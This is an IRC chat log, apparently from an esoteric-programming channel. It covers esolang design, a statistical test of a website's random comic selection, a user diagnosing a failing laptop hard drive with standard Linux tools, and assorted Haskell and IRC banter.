00:09:08 <fizzie> Of course it's still not any sort of proof. But it's a larger difference that you'd expect (in a non-mathematical sense, I haven't calculated any numbers about this) from the bias inherent in rand()%11 with RAND_MAX of 2^31-1 or whatever.
00:11:54 <fizzie> Even with just 0..32767, you'd expect 0..9 to be just 1.0003 times more common than 10, 11, which is not a difference you'd see here.
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01:14:35 <oerjan> in Nagapattinam, Tamil Nadu, India, there is apparently a Sir Issac Newton College of education and (possibly distinct?) Sir Issac Newton Polytechnic College.
01:14:49 <oerjan> by all web evidence those are the official spellings.
01:17:45 <oerjan> i have this small personal task i occasionally take, to search wikipedia for that particular misspelling.
01:18:14 <oerjan> (you should have seen how common it was before the first time i did so :P)
01:18:45 <monqy> apparently issac is a real name and also a commune in france
01:30:23 <oerjan> you don't happen to have marvel S.H.I.E.L.D. comics? i need to find out if Issac Newton is actually misspelled in those :P
01:30:50 <oerjan> or if i can change the two relevant wikipedia pages
01:31:04 * oerjan already asked on the Talk: page, mind
01:31:07 <monqy> I don't even know what those are :(
01:31:29 <oerjan> some kind of secret organization superhero comics
01:32:45 <oerjan> also ancient, which is how Iss?aa?c Newton was a member
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01:54:09 <kallisti> lolwat someone made a dupdog thing?
01:54:57 <oerjan> someone tried to. it's not exactly finished.
01:55:23 <oerjan> misinterpreting the spec doesn't help either
01:55:34 <kallisti> having a poorly written spec doesn't help either.
01:56:24 * kallisti hasn't looked at the source, but immediately recommends not using String as the data/program representation
01:56:53 <oerjan> i've thought for a while that dupdog is like made for using ropes
01:57:29 <oerjan> that way, you could interpret it usefully even if the size of the full expansion blows up exponentially
01:58:01 <oerjan> (ropes with a reversal flag, to be precise)
02:01:51 <kallisti> Data.Sequence would work well I think.
02:02:32 <oerjan> well the thing is i'm not sure if Data.Sequence has enough sharing.
02:02:45 <oerjan> and it also needs reversal added.
02:03:20 <oerjan> you want duplication to be cheap
02:03:51 <kallisti> reversal would simply be a matter of changing which view you use, right?
02:04:27 <oerjan> since you never concat things with mismatching reversal
02:04:33 <kallisti> believe <> is something like O(min(a,b))
02:05:28 <oerjan> er shouldn't there be a log in there
02:06:38 * kallisti would like to expand on the idea of dupdog but isn't sure which direction to go.
02:07:10 <oerjan> still, a rope does that particular part in constant time. but i guess the logarithm then comes back when looking at the end instead.
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02:08:51 <kallisti> I think reversal is a useful operation
02:08:58 <kallisti> but duplication isn't, aside from looping infinitely
02:09:46 <oerjan> i'm not sure. note that duplication and then running a few commands means the two parts are no longer equal.
02:11:40 <kallisti> I think one parametric command would be of value.
02:11:55 <kallisti> perhaps to control the transliteration
02:13:24 <kallisti> the simplest one I can think of would be sab, which substitutes every a to b
02:13:32 <kallisti> this would consume the entire 3-character command
02:14:36 <kallisti> I think this would make dupdog quite a bit more powerful, though I'm not sure how to quantify how.
02:15:34 <kallisti> because obviously the semantics are different
02:15:58 <kallisti> but the idea of advancing forward in a string, with each character modifying the source code in some simple way, remains.
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04:03:19 <pikhq> Your professor might be laughably archaic if: they demand a hardcopy submission of code
04:08:16 <Sgeo> kallisti has been i[dated
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06:20:46 <madbr> Language with: +, -, ! (C style logical not), non-deterministic
06:20:54 <madbr> Is turing complete I think
06:21:44 <madbr> with non-deterministic = in the "prolog" kind of way
06:22:25 <madbr> program flow and arrays can be hacked from the non-deterministic logic
06:28:09 <madbr> Well, I dunno how to write an interpreter
06:28:20 <madbr> more precisely I dunno how to garbage collect it
06:28:54 <madbr> quintopia : essentially it's a numeric version of this: http://esolangs.org/wiki/Fatmouse
06:29:20 <madbr> quintopia : I'm exploring "grow only" languages
06:29:30 <quintopia> and esoteric languages are all about working in theory
06:29:37 <madbr> ie languages where you can't change the value of a variable once it's defined
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06:30:49 <madbr> so to do something like interpret a brainfuck program, you create a new copy of the BF program state on each cycle
06:31:11 <madbr> That's turing complete
06:31:48 <madbr> but if I want to do an interpreter, I'd like to be able to execute an infinite number of loops in finite memory at least
06:32:00 <madbr> that means I have to figure out how to garbage collect it
06:32:29 <madbr> problem: in a normal language, your variables eventually get dereferenced
06:32:37 <madbr> and then you can garbage collect them
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06:33:27 <SgeoN1> Can a full hard drive cause kernel panics?
06:33:28 <madbr> except in this case, how do you know a given variable can't generate any new values and can thus be collected?
06:35:44 <quintopia> gcing in fatmouse is easy: no data needs to ever be collected except the output buffer
06:36:35 <quintopia> in particular, every time a variable is consumed, all conditions in the program are checked. those that are satisfied are deleted.
06:36:38 <madbr> quintopia: then it's impossible to interpret it without leaking memory like crazy
06:36:49 <quintopia> if a variable has no conditions, it is deleted.
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06:40:06 <quintopia> iterative conditionals just require you to keep around a short list of ranges that have been consumed. badly behaved programs could misuse this, but...garbage collection never works on badly behaved programs anyway
06:43:23 <quintopia> the "array.x.x array.x-1.x-1" example might cause problems in a naive algorithm, but i can think of a way to handle such things efficiently
06:47:14 <madbr> I think I can see how it's possible
06:47:18 <quintopia> a particularly nasty one might be "a.x.y a.x-1.y-1;a.x.y a.x-2.y;a.x.y a.x.y-2;a.1.1"
06:48:10 <madbr> that's essentially a memory leak
06:48:19 <madbr> and an infinite loop
06:48:55 <quintopia> what happens in fatmouse if the same variable is listed twice with different conditionals?
06:50:10 <quintopia> i'm guessing it's a disjunction over the conditional sets
06:50:48 <madbr> if either a or c get defined, b gets defined too
06:52:29 <quintopia> so a loop that stops looks like "a.x a.x-1 x<10;a.1"?
06:53:06 <quintopia> with, uh, suitable parens where needed?
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09:28:02 <ais523> wait that makes no sense
09:28:05 <ais523> I ssh -X to a computer
09:28:09 <ais523> try to open something in Firefox on it
09:28:14 <ais523> and it opens on my local Firefox install instead
09:28:58 <ais523> it's more nonsensical than evil
09:29:52 <ais523> haha, it works the other way too
09:30:01 <ais523> if I close Firefox locally and open the remote Firefox
09:30:11 <ais523> then trying to open Firefox locally just opens a new window on the remote Firefox
09:31:04 <ais523> I guess the Firefox process, when started, looks for existing Firefox /windows/
09:31:10 <ais523> and when it finds them, signals them to do what it was trying to do
09:31:19 <ais523> rather than looking for existing Firefox /processes/, which would make more sense
09:32:03 <ais523> this is the first time I realised that sshing into the computer lab downstairs to print something made more sense than physically going there
09:32:18 <ais523> but I'm annoyed that I can't browse the web meanwhile
09:32:30 <fizzie> ISTR that there was a workaround, though. (I've used a remote Firefox sometimes to access our 'intranetty' things, and I don't recall having to close the local Firefox.)
09:32:51 <fizzie> -no-remote Open new instance, not a new window in running instance.
09:33:54 <fizzie> It's not possible to run two separate Firefoxes using the same profile even with that, but it should be okay to run something on a remote computer, since presumably it's not using the same profile.
09:34:12 <fizzie> (If it is, e.g. over NFS, I think it might not be the best of ideas.)
09:36:19 <fizzie> Also latest counts for 6797 samples: http://sprunge.us/GjLD -- and the chi2 score is 60, which corresponds to virtual certainty of rejecting the "uniform distribution" hypothesis (p=10^-9 or so).
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09:36:29 <fizzie> Strange sort of bias, though.
09:38:21 <ais523> fizzie: it isn't in this case
09:38:37 <ais523> as for that distribution, I'm wondering if it's intended to be uniform but the randomizer is broken
09:42:46 <fizzie> Sounds possible, though I wonder how it is broken, and if it's time-seeded whether my ten-second polling interval has something to do with it.
09:47:19 <fizzie> Maybe after the 10k-sample run has finished I should make a forum post. They have forums, right? Though maybe it's a 'faux pas' to speak of the About page without pretending not to notice the randomness.
09:54:25 <ais523> mezzacotta has forums, I think they apply to everything hosted there
09:56:24 <fizzie> There seems to be a "Comments on a Postcard"... uh, group? topic? area? region? forum? shindig? hunting ground? ...in there.
09:58:32 <fizzie> OTOH, I've already download 40 megabytes' worth of data, I'm not entirely sure I want to admit that.
09:59:18 <fizzie> (The page sizes range from 2912 to 4360 bytes.)
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11:21:03 <fizzie> Just in case, also fed the numbers to MATLAB's χ2-goodness-of-fit test, and it agrees on the unlikeliness: http://sprunge.us/SSQL
11:24:12 <fizzie> Sorry, http://sprunge.us/EjLY -- misread the documentation for 'nparams'.
11:24:57 <fizzie> Admittedly I *was* wondering about the p = NaN bit, thought it'd underflow to 0 instead, and that it wouldn't be *that* small quite yet.
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11:31:59 <ais523> fizzie: seemed a bit weird to me too
11:32:06 <ais523> NaN means "no probability", rather than "no chance" :)
11:36:39 <fizzie> If I disregard the highest-numbered count, I get p=0.0596, which isn't yet quite unlikely enough.
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14:35:11 <Sgeo> WHY did my HD just go read-only?
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14:37:48 <fizzie> Remount-as-read-only is one common response to errors.
14:38:11 <fizzie> The "errors=remount-ro" mount option.
14:38:48 <ion> sgeo: dmesg | tail
14:39:33 <Sgeo> Sorry in advance for incoming flod
14:39:36 <Sgeo> sgeo@sgeo-Satellite-A105:~$ dmesg | tail
14:39:36 <Sgeo> [28984.216422] ecryptfs_write_inode_size_to_header: Error writing file size to header; rc = [-30]
14:39:36 <Sgeo> [28984.216429] Error writing inode size to metadata; rc = [-30]
14:39:36 <Sgeo> [28984.216612] ecryptfs_write_inode_size_to_header: Error writing file size to header; rc = [-30]
14:39:36 <Sgeo> [28984.216619] Error writing inode size to metadata; rc = [-30]
14:39:36 <Sgeo> [28984.216633] ecryptfs_write_inode_size_to_header: Error writing file size to header; rc = [-30]
14:39:38 <Sgeo> [28984.216640] Error writing inode size to metadata; rc = [-30]
14:39:40 <Sgeo> [28991.831985] ecryptfs_write_inode_size_to_header: Error writing file size to header; rc = [-30]
14:39:42 <Sgeo> [28991.831996] Error writing inode size to metadata; rc = [-30]
14:39:44 <Sgeo> [28991.832082] ecryptfs_write_inode_size_to_header: Error writing file size to header; rc = [-30]
14:39:46 <Sgeo> [28991.832089] Error writing inode size to metadata; rc = [-30]
14:40:01 <fizzie> You could've just said "repeats N times".
14:40:16 <Sgeo> Maybe it isn't remounted RO, but .. something else?
14:40:16 <ion> Ok, the last 10 lines weren’t enough, you’ll need to look at more of it. dmesg | less and scroll around. What happened before those errors?
14:40:45 <Sgeo> [29068.269545] ecryptfs_encrypt_page: Error attempting to write lower page; rc =
14:40:45 <Sgeo> [29068.269553] ecryptfs_writepage: Error encrypting page (upper index [0x0000000
14:40:59 <Sgeo> That occurs a bunch of times
14:41:06 <Sgeo> But there's the earlier errors I pasted before then
14:41:30 <fizzie> Well, it's very confused right now. The first error is often the most relevant.
14:41:38 <ion> Anything about problems with the actual device (that might be a hardware issue) or just ecryptfs problems (that, if alone, looks like a software bug)?
14:41:40 <fizzie> Especially if it comes from some lower level than ecryptfs.
14:41:53 <Sgeo> Just hit the top of dmesg
14:41:57 <Sgeo> More encryptfs stuff
14:42:15 <Sgeo> I confused PageUp and PageDown
14:42:20 <ion> Well, it could be a symptom of bad RAM or other faulty hardware, too, but probably not e.g. a broken HDD.
14:42:41 <Sgeo> encryptfs errors fill dmesg
14:43:03 <Sgeo> I had a similar issue last night too. I needed to restart in recovery, let that take place, then booted up
14:43:26 <ion> less /var/log/syslog, something useful might have managed to go into it.
14:44:05 <Sgeo> Feb 2 01:59:33 sgeo-Satellite-A105 kernel: [ 1458.247678] ata1.00: error: { ICRC ABRT }
14:44:13 <Sgeo> Feb 2 01:59:33 sgeo-Satellite-A105 kernel: [ 1458.247639] ata1.00: failed command: WRITE DMA
14:44:27 <Sgeo> (Just posting interesting looking ones. And the last one I posted was before the first)
14:44:50 <Sgeo> Feb 2 01:59:33 sgeo-Satellite-A105 kernel: [ 1457.858737] ata1.00: exception Em
14:44:50 <Sgeo> ask 0x0 SAct 0x0 SErr 0x0 action 0x6
14:45:03 <Sgeo> Feb 2 01:59:33 sgeo-Satellite-A105 kernel: [ 1457.489310] res 51/84:18
14:45:03 <Sgeo> :a8:01:c5/84:01:06:00:00/e6 Emask 0x30 (host bus error)
14:45:19 <Sgeo> A whole bunch of these:
14:45:20 <Sgeo> Feb 2 01:59:32 sgeo-Satellite-A105 kernel: [ 1457.473124] Buffer I/O error on d
14:45:21 <Sgeo> evice sda1, logical block 13147229
14:45:44 <ion> Ok, that does look like a broken HDD.
14:45:55 <ion> And the ecryptfs problem is just a symptom of it.
14:46:04 <fizzie> Or the SATA port, that can be flaky too.
14:46:26 <Sgeo> My HD is a bit loose in the thing, is there a nice way to tell if it just sort of lost connection or if there's damage?
14:46:47 <ion> Yeah. But every HDD breaks sooner or later, SATA controllers are quite a bit less likely to just break by themselves.
14:47:02 <fizzie> You can run some sort of a 'badblocks' scan over it. If it's just intermittently flaky, it shouldn't find errors consistently at the same location.
14:47:04 <ion> Connect it to another computer.
14:48:07 <Sgeo> Can I try some sort of SMART thing?
14:48:11 <oerjan> > deleteBy (const (== 3)) undefined [1,2,3,4,5,3,6,7]
14:48:38 <Sgeo> Although I don't know if I have any such thing already installed
14:48:51 <ion> smartctl -a /dev/sda | less
14:49:17 <Sgeo> The program 'smartctl' is currently not installed. You can install it by typing:
14:49:17 <Sgeo> sudo apt-get install smartmontools
14:49:36 * Sgeo needs to get ready to head for school
14:49:41 <oerjan> Sgeo: didn't you have a broken HD before (and got everyone annoyed by not following their salvaging advice...)
14:49:50 <fizzie> oerjan: Did you hear about my latest CHI^2 SCORES.
14:49:52 <ion> udisks --dump | less
14:49:54 <Sgeo> oerjan, this is a different HD
14:50:24 <oerjan> Sgeo: IT'S JUST FATE CHECKING IF YOU'VE LEARNED FROM THE PREVIOUS EPISODE, HTH
14:50:43 <ion> It doesn’t seem he’s losing any data. He hasn’t mentioned a lack of backups, which probably would be on the top of one’s mind if there are HDD problems *and* no backups. :-)
14:51:15 <Sgeo> Although I don't have much of anything important on here. I think.
14:51:20 <oerjan> fizzie: i saw something about almost certainly not uniform
14:51:33 <Sgeo> Except my logs
14:51:36 <Sgeo> I love my logs
14:51:50 <ion> So… udisks --dump | less
14:52:15 <Sgeo> The status column is filled with good and n/a
14:52:32 <fizzie> oerjan: It's like p=10^-11 likely get a this nonuniform sample if it actually were uniform.
14:53:02 <Sgeo> http://pastie.org/private/7eaa3bfslg7sdekiroftg
14:53:49 <oerjan> fizzie: ideally with enough data you should get the real fractions of probabilities; if they are close to simple rationals that should give a hint...
14:54:02 <ion> I’d connect the disk to another computer and see what happens.
14:54:26 <fizzie> "udma-crc-error-count" *sounds* like it might be an issue somewhere between the processor and the disk.
14:55:27 <Sgeo> fizzie, could that be caused by a loose connection?
14:55:55 <oerjan> like, if there are two tiers, one with probability p and one with probability q, as you'd expect if it was (x % 11) applied to something that _is_ uniform in some integer interval
14:56:00 <Sgeo> I should really get a mount for this thing
14:56:13 <Sgeo> In the meantime, I should probably resist the temptation to take it off the table
14:56:41 <Sgeo> Going to restart
14:56:47 <ion> Try fixing it with XML.
14:56:52 <fizzie> oerjan: Yes, though normally you'd expect that x to be uniform in [0, 2^31-1] or something, in which case the difference from that would be quite small indeed.
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14:57:13 <ion> Any bets whether it’ll boot? :-P
14:57:55 <fizzie> oerjan: "Normalized" counts -- as in, count/expected, which would give [1 1 ... 1], are: 1.28168 1.09694 1.02814 0.97209 0.96826 0.96699 0.95807 0.94915 0.93896 0.93514 0.90456.
14:58:22 <fizzie> oerjan: Last time I tried after ignoring the largest one, the rest weren't quite yet abnormal enough to reject the null hypothesis.
15:00:39 <fizzie> Currently MATLAB's saying p=0.01 even for the "other ten" ones.
15:01:29 <oerjan> mind you you _shouldn't_ normally be getting 0.05 from something that is uniform, even if that's not sufficient for discarding a scientific null hypothesis
15:02:14 <fizzie> Well, you should be getting 0.05 from about every 20th experiment, I suppose.
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15:02:50 <oerjan> which isn't quite the normal case, is it
15:03:59 <oerjan> now for there to be only a largest one that has higher probability, the interval before x%11 should have length 11*y+1
15:04:29 <oerjan> where 1 + 1/y is the excess in probability
15:04:42 <fizzie> Yes, and for 1.3 y is kinda small.
15:05:35 <oerjan> y = 3 or 4, giving 34 or 45, which are strange numbers to choose
15:06:05 <fizzie> I was hoping for the interval of 16, implying two iterations of the Befunge '?'.
15:06:36 <oerjan> 32 would have been perfect if there was precisely one item _less_ likely than the rest
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15:06:45 <fizzie> Still, there are all those stories about patterns in bad RNGs.
15:07:03 <SgeoN1> The recovery thing worked last night...
15:07:13 <oerjan> fizzie: it could be he's generating it from a time stamp, as well.
15:07:54 <oerjan> the main mezzacotta comic uses a date (although not the _present_ date)
15:08:05 <SgeoN1> Oh, it was just being slow
15:08:11 <fizzie> Seeding from the current second is rather popular too.
15:08:43 <fizzie> I was wondering if my ten-second sampling interval is relevant. Or actually it's "fetch, delay of at least 10 seconds, fetch, delay ...", so the rate is in fact something close to 11 seconds.
15:09:07 <fizzie> Or maybe not close to 11, but over 10, anyway.
15:09:44 <SgeoN1> Even for the present day's comic?
15:12:22 <fizzie> I'd say it's always just the date you specify, which for the present day's comic happens to coincide with the present date.
15:15:05 <fizzie> Anyway, here's the counts graphically: http://users.ics.tkk.fi/htkallas/mezza.png -- make of that what you will. But it doesn't quite look two-tiered.
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15:18:12 <Sgeo> I'm not going to rest this laptop on my lap for a while
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15:20:33 <oerjan> fizzie: if you remove both the two largest items, what then?
15:22:17 * oerjan stares sternly at lambdabot
15:23:15 <oerjan> dmm wouldn't choose that number, would he.
15:25:07 <fizzie> What's that number about?
15:25:51 <oerjan> apparently fizzie wouldn't either.
15:26:15 <fizzie> No, I mean, I know the result, I was just wondering about the 9*6+7+8 briefly.
15:26:54 <oerjan> i was guessing what if the two top numbers are special
15:27:15 <oerjan> then that seemed like a close approximation
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15:28:08 <fizzie> Right, right. Though I'm not sure if my current results match that terribly well. Though the smaller the differences, the harder it is to say.
15:29:05 <oerjan> statistically there should be _some_ outliers
15:32:42 <fizzie> p-values for selecting the sets 1..11, 2..11, 3..11, 4..11 and 4..10, respectively: 7*10^-5, 0.0129, 0.4662, 0.8690, 0.9666.
15:33:01 <fizzie> So, indeed, after discarding the top two it's not distinguishable from uniform.
15:33:25 <fizzie> (And the 4..10 set is quite a lot more uniform-ish that you'd expect.)
15:34:29 <fizzie> It's done 8861 samples now, so it'll be finished this evening.
15:34:45 <fizzie> Three more hours or so.
15:38:56 <fizzie> Uh, posthumous s/-5/-15/ too.
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15:54:37 <lambdabot> Phantom_Hoover: You have 5 new messages. '/msg lambdabot @messages' to read them.
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16:22:33 <fungot> Phantom_Hoover: there's a defined format for data:// is reasonable. i concede that there may be
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17:14:56 <ais523> Gregor: is that the opposite of a sudden vanish?
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18:01:46 <lambdabot> Taneb: You have 3 new messages. '/msg lambdabot @messages' to read them.
18:02:15 <Taneb> I've been thinking about Haskell Obfuscation
18:02:33 <Taneb> > null $ guard True
18:02:37 <Taneb> > null $ guard False
18:02:51 <Taneb> Less clear version of "not"
18:05:18 <Taneb> Also, point-free style seems to have a lot of point symbols
18:05:56 <Taneb> @pl \x y z -> y x (z x)
18:05:56 <lambdabot> ap (flip . ((.) .) . flip id) (flip id)
18:06:30 <Taneb> Also, I don't have a decent IRC client on this computer
18:08:41 <fizzie> Those are just dots; and note that it's full of nice round ()s instead of pointy ->s. Not that it's relevant, but still.
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19:00:52 <fizzie> @tell oerjan Final counts: http://sprunge.us/CejV
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20:29:54 <itidus21> so.. it occurs to me that ideas of generalizations only hold true alongside things like platonic ideals
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20:31:46 <itidus21> on that note it has never been true i think that humans need anything more than a simple roof over their heads, a bit of food, clean water, exercize, and plenty of medicine in order to achieve maximum potential lifespan
20:32:20 <itidus21> and why on that note? well i mean humans do not need plato for anything but medicine
20:35:46 <Ngevd> Humans need those things to survive; to live, though?
20:37:27 <itidus21> i mean i dont think plato is vital for medicine but the idea of looking at things as platonic solids is fairly necessary probably for the weird science stuff which enables the creation of medicine i am guessing
20:37:47 <itidus21> Ngevd: oh yeah.. hmm you're right
20:39:15 <itidus21> Ngevd: so if someone is walking down the street with a gun i couldn't give him the benefit of the doubt that he was just going to hunt some boars... but i would be very tempted to give him that benefit of the doubt
20:40:41 <Ngevd> itidus21, do you live in an area where boars exist and can be hunted legally?
20:42:14 <Ngevd> But still look at him very carefully and make careful note of his appearance
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21:00:08 -!- oerjan has set topic: {M[m(_o)O!"elliott sacked as bearer of Element of Loyalty, seeking pegasus replacement | http://codu.org/logs/_esoteric/ | Now slightly on-topic | Now failing to construct an esolang in THE. WORST. POSSIBLE. WAY."(_o)o.?]}.
21:01:27 <lambdabot> oerjan: You have 1 new message. '/msg lambdabot @messages' to read it.
21:02:10 <ais523> when it's going this fast I prefer to take care of it in batches, it's faster
21:02:32 <ais523> [[LifeScript]] is nonspam, right?
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21:05:50 <oerjan> in fact, unusually much non-spam today, too
21:05:52 <oerjan> sadly not as much as the spam
21:06:05 <quintopia> ais523: is there a standard way of repeatedly deleting values from a list comprehension without adding a constraint for every value deleted?
21:06:24 <ais523> quintopia: err, I fear I'm missing context
21:06:39 <oerjan> which language, for a start
21:06:52 <ais523> it's like, I understand the individual words, and phrases like "list comprehension"
21:06:58 <ais523> but can't fit them together into a sentence
21:07:01 * oerjan would be most helpful if it's haskell, probably
21:07:44 <oerjan> > [x | x <- [1..], not (x `mod` 3 == 0)]
21:07:45 <lambdabot> [1,2,4,5,7,8,10,11,13,14,16,17,19,20,22,23,25,26,28,29,31,32,34,35,37,38,40...
21:07:51 <quintopia> just wondering if *any* language has a way of doing it
21:08:37 <quintopia> oerjan: yes, but what if i wanted to just eliminate the values returned by my random number generator, but didn't want the comprehension description to grow linearly with number of values eliminated?
21:09:29 <Ngevd> Could you first zip [1..] and use that?
21:10:09 <ais523> quintopia: isn't that effectively asking "how do I get a list of all integers /not/ in a given lazy list"?
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21:10:16 <ais523> I don't think that's mathematically possible
21:10:24 <oerjan> i am not sure "comprehension description" is the term you really want to use, here
21:11:16 <oerjan> indeed, unless the list of things to remove is either finite or predictably ordered, you may _never_ be able to conclude that a value is in the final list
21:11:46 <quintopia> another example: let's say i have a 100x100 binary matrix, and i set the bits on the main diagonal. a dense matrix requires 10000 bits to represent this. a (standard) sparse matrix requires 1400 bits. but it could be done with a single expression like "set if x=y". is there a well-known algorithm that heuristically encodes things this way?
21:12:06 <quintopia> i know compression in general is AI-hard, but i thought maybe there might be an incomplete standard solution
21:12:16 <oerjan> > [1..] \\ [2, 4 .. 10]
21:12:17 <lambdabot> [1,3,5,7,9,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,3...
21:12:45 <ais523> \\ is list difference?
21:13:00 <ais523> does it require a consistent sort order between the lists?
21:13:04 <oerjan> but it won't return anything unless the second argument is finite
21:13:07 <quintopia> oerjan: you can assume the number of excluded values is "n"
21:13:12 <ais523> ah, requires finite second list
21:13:32 <oerjan> also i think it only removes one instance if there are duplicates
21:14:27 <oerjan> which on the positive side means it should have no overhead for the remainder of the list after all the subtracted elements have been found
21:15:16 <oerjan> quintopia: for your "another example", haskell does not remove from you the obligation to choose efficient data structures for representing things.
21:15:24 <quintopia> what if i start with a lazy list like that, and i want to write a function delete_with_minimal_overhead(list,value)?
21:15:49 <lambdabot> [1,2,3,4,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,2...
21:15:49 <quintopia> what would an efficient data structure for that be?
21:16:33 <oerjan> um you've already said "if i start with a lazy list", which sort of ties your hands a bit
21:17:07 <quintopia> for instance, i start calling it with (list,2),(list,4),(list,6),(list,8). It would be nice if it figured out that a bunch of even numbers had been deleted, and compressed {2,4,6,8,10,12,..} to "even numbers in this range"
21:18:00 <quintopia> i don't mean a particular representation of a list comprehension. i mean "whatever data structure that works like one but also does this"
21:19:05 <quintopia> maybe it just hasn't been done. i have to go :(
21:19:22 <oerjan> quintopia: well haskell doesn't do it, anyhow.
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21:21:56 <oerjan> ais523: ok LifeScript isn't spam, but i'm not convinced it isn't trolling :D
21:23:26 <oerjan> ais523: ok scratch some of that about unusually much non-spam, some of the edits that looked like they could be genuine were spams anyhow
21:39:28 <Ngevd> Etymology is sometimes interesting
21:39:36 <Ngevd> Scotland means "land of the Irish"
21:43:24 <quintopia> so..."scots-irish" means "irish irish"?
21:55:39 <Ngevd> The Romans called the Irish "Scotii"
21:55:53 <Ngevd> Which was then used to mean Gaelic
21:56:28 <Ngevd> And as Gaels (?) from Ireland went to Scotland (or "Caledonia" or "Pictland"), some stuff happened, and we're in a mess now
21:57:55 <oerjan> we can only assume the picts got a raw deal.
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21:58:44 <oerjan> clearly this is a matter of which Ngevd does not wish to speak.
22:01:18 <fizzie> Picts or didn't happen, like they say.
22:06:45 <fizzie> Bah, can't decide whether to make that biased-randomness post since it'd mean having to admit to wasting 34.65 MiB's worth of bandwidth.
22:07:12 <fizzie> Also incidentally it's the "Wow! signal" one that appears "too" often. Coincidence?
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22:07:57 <oerjan> just make a donation to the Jane Goodall Institute mentioning mezzacotta first.
22:08:32 <oerjan> or something like that, it's where they ask people to donate instead of to them.
22:09:13 * oerjan so reasonable suggestions
22:16:30 <oerjan> apparently Scott Aaronson is a betting guy
22:16:45 <oerjan> http://rjlipton.wordpress.com/2012/01/30/perpetual-motion-of-the-21st-century/#comment-17911
22:17:08 <oerjan> QC = quantum computing
22:19:53 <oerjan> (he did a similar bet against the P!=NP proof that was floating around a year and a half ago)
22:25:19 <oerjan> oops, my window with top -d 30 in it has died
22:26:22 <oerjan> that was the first disconnect since i started putting that up. thus fails my theory that the problem had either stopped permanently, or that the windows somehow kept each other alive.
22:27:39 <oerjan> false alarm. it had just died last time i turned off my computer XD
22:29:20 * oerjan usually hibernates when possible
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23:02:32 <kallisti> > map unwords $ (`replicateM` ["player", "hater"]) =<< [1..]
23:02:33 <lambdabot> ["player","hater","player player","player hater","hater player","hater hate...
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23:23:33 <kallisti> monqy: are you a player hater hater or a hater player hater or a hater player player?
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02:31:34 <zzo38> I think I have figured out how to make a monad from any contravariant functor
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02:44:42 <Sgeo> Opened up the comp, pushed the HD in (and it was quite easy and went in rather far), so I'll see if that fixes it
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05:48:06 <pikhq> Huh. Verisign breach of unknown degree.
05:48:52 <pikhq> The security breach happened *2 years ago* but was only reported to the public *today*, courtesy of Verisign management being horribly fucked up.
05:49:08 <pikhq> There's a chance it extended to their SSL certs.
06:31:38 <zzo38> I think, I have managed to make up the monad from any contravariant functor, a generalization of what is done in the "infinite-search" package.
06:33:23 <zzo38> They use (a -> Bool) -> a while I have used f a -> a where f is contravariant
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12:20:57 <ais523> idiot spambot isn't even getting its links write
12:23:47 <fizzie> //:dʇʇɥ -- that's what weblinks look like in Australia.
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12:44:30 <Jafet> Woah how did you make that inverted colon
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13:09:50 <fizzie> Eats, shoots and leaves.
13:10:20 <Taneb> That's pandas, you fool, not Hexhamites
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13:10:40 <fizzie> You never know about Hexhamites.
13:10:56 <Taneb> What esolang is the topic in now?
13:10:57 <fizzie> Also I recently checked the weather in Hexham, since it was the first UK location that came to mind.
13:11:14 <fizzie> It loogs Glassy to me.
13:11:45 <fizzie> The {M[m bit especially.
13:12:02 <Taneb> Oh, I thought you were talking about the weather
13:14:35 <fizzie> The M.m function does (_o)O! -- that is, construct an O object and bind _o to it -- followed by "blah"(_o)o.? -- so "blah", on the stack, get the O.o method from _o, then run it.
13:15:06 <Taneb> O.o outputs a string?
13:15:36 <Taneb> I reckon, if I could use it, Glass would be my favourite esolang
13:15:47 <Taneb> Also, you're fizzie! I was meaning to ask you something!
13:16:04 <Taneb> Where does fungot's "fnord" come from?
13:16:04 <fungot> Taneb: yeah, riastradh is dynamic wind. why doesn't it expand then?
13:16:20 <fizzie> If I'm not mistaken, though, the program could have ben written by using a local variable 'o', as {M[moO!"blah"oo.?]} -- that'd be a bit more compact.
13:16:45 <fizzie> It's the Discordians' fnord.
13:17:20 <Taneb> I'm not very good at religions
13:18:16 <fizzie> It's a bit of a misuse in that the fnords should be there in-between the "content" part of the sentence, but the way fungot does it replaces the "unknown" word by it.
13:18:16 <fungot> fizzie: i only get one t!
13:18:39 <fungot> Available: agora alice c64 ct darwin discworld europarl ff7 fisher fungot homestuck ic irc* iwcs jargon lovecraft nethack pa qwantz sms speeches ss wp youtube
13:18:43 <fizzie> fungot: Yeah, "fungott" would look pretty silly. And remind people of elliott.
13:18:43 <fungot> fizzie: now that could be nice, for a simple language can be used
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13:19:24 <Taneb> I didn't know I had the keyboard shortcut...
13:19:56 <fizzie> Do you know the old "join #2,000 to celebrate the millennium" joke?
13:20:38 <fizzie> It's an IRC peculiarity; "JOIN #a,#b,#c" can be used to join multiple channels at once, while "JOIN 0" in fact parts all channels.
13:20:52 <fizzie> So in quite many clients "/join #2,000" will end up parting from all channels.
13:21:00 <fizzie> (In some, it joins #2 and #000 instead.)
13:21:36 <fizzie> It's a bit like the equally old "use /disco to turn on the lights" joke.
13:22:06 <fizzie> (Many clients auto-complete that to a /disconnect.)
13:22:17 <Taneb> Also, fungot seems rather condescending of elliott
13:22:18 <fungot> Taneb: now everything is screwed up a bit on where you are coding. it just exposes you to often irrelevant low-level details.
13:22:48 <fizzie> fungot holds no respect for us meat-sacks in general.
13:22:49 <fungot> fizzie: more like java) perl ml modules that define two different types of source code
13:22:58 <fungot> itidus21: i don't know until where it should
13:23:12 <itidus21> fungot fungot fungot fungot fungot fungot
13:23:12 <fungot> itidus21: you would have otherwise written in scheme
13:24:29 <Taneb> !addquote <fizzie> fungot: Yeah, "fungott" would [...] remind people of elliott. <fungot> fizzie: now that could be nice for a simple language can be used
13:24:29 <fungot> Taneb: just dig out some snippets of code in the wrapper. maybe for these people: it lets me name things fnord, like yours
13:24:48 <Taneb> ^addquote <fizzie> fungot: Yeah, "fungott" would [...] remind people of elliott. <fungot> fizzie: now that could be nice for a simple language can be used
13:24:52 <fungot> Taneb: because i'm just confused
13:25:08 <Taneb> `addquote <fizzie> fungot: Yeah, "fungott" would [...] remind people of elliott. <fungot> fizzie: now that could be nice for a simple language can be used
13:25:08 <fungot> Taneb: when the value is x. if it loses fnord, then? :p
13:25:18 <HackEgo> cat: wisdom/: Is a directory
